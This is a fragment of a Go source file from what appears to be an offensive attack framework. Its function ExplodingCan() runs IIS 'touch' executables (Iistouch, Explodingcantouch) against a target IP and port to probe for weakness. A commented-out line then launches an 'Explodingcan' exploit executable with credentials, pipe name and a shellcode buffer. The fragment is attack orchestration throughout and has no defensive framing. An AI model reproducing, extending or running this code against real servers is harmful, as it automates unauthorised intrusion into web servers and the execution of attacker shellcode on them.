()
| 10 | ) |
| 11 | |
| 12 | func ExplodingCan() { |
| 13 | filename := filepath.Join(metadatas.MetaData.LogDir, metadatas.MetaData.ProjectName, utils.CreateXmlFileName("Iistouch")) |
| 14 | metadatas.MetaData.SetIisPort() |
| 15 | metadatas.MetaData.SetEnableSSL() |
| 16 | metadatas.MetaData.SetHostString() |
| 17 | cmd := exec.Command(conf.Touches+"Iistouch-1.2.2.exe", "--InConfig", conf.Touches+"Iistouch-1.2.2.0.xml", "--OutConfig", filename, "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.IIS.Port, "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--EnableSSL", metadatas.MetaData.IIS.EnableSSL, "--HostString", metadatas.MetaData.IIS.HostString) |
| 18 | utils.Execute(cmd) |
| 19 | IisTouchResults := utils.ParseIisXml(filename) |
| 20 | fmt.Println(IisTouchResults) |
| 21 | filename = filepath.Join(metadatas.MetaData.LogDir, metadatas.MetaData.ProjectName, utils.CreateXmlFileName("Iistouch")) |
| 22 | cmd = exec.Command(conf.Touches+"Explodingcantouch-1.2.1.exe", "--InConfig", conf.Touches+"Explodingcantouch-1.2.1.0.xml", "--OutConfig", filename, "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.IIS.Port, "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--EnableSSL", metadatas.MetaData.IIS.EnableSSL, "--HostString", metadatas.MetaData.IIS.HostString, "--Delay", metadatas.MetaData.IIS.Delay, "--maxSizeToCheck", metadatas.MetaData.IIS.MaxSizeToCheck) |
| 23 | utils.Execute(cmd) |
| 24 | ExplodingcanTouchResults := utils.ParseIisXml(filename) |
| 25 | fmt.Println(ExplodingcanTouchResults) |
| 26 | //cmd = exec.Command(filepath.Join(conf.Exploits, "Explodingcan-2.0.2.exe"), "--InConfig", filepath.Join(conf.Exploits, "Explodingcan-2.0.2.0.xml"), "--OutConfig", filepath.Join(metadatas.MetaData.LogDir, "logs.txt"), "--TargetIp", metadatas.MetaData.TargetIp, "--TargetPort", metadatas.MetaData.TargetPort, "--Target", results["Target"], "--NetworkTimeout", metadatas.MetaData.NetworkTimeout, "--Protocol", results["Protocol"], "--PipeName", results["PipeName"], "--TargetOsArchitecture", results["TargetOsArchitecture"], "--Credentials", results["Credentials"], "--ShareName", results["ShareName"], "--ShellcodeBuffer", metadatas.MetaData.ShellcodeBuffer) |
| 27 | //utils.Execute(cmd) |
| 28 | metadatas.MetaData.ShowMetaData() |
| 29 | } |
no test coverage detected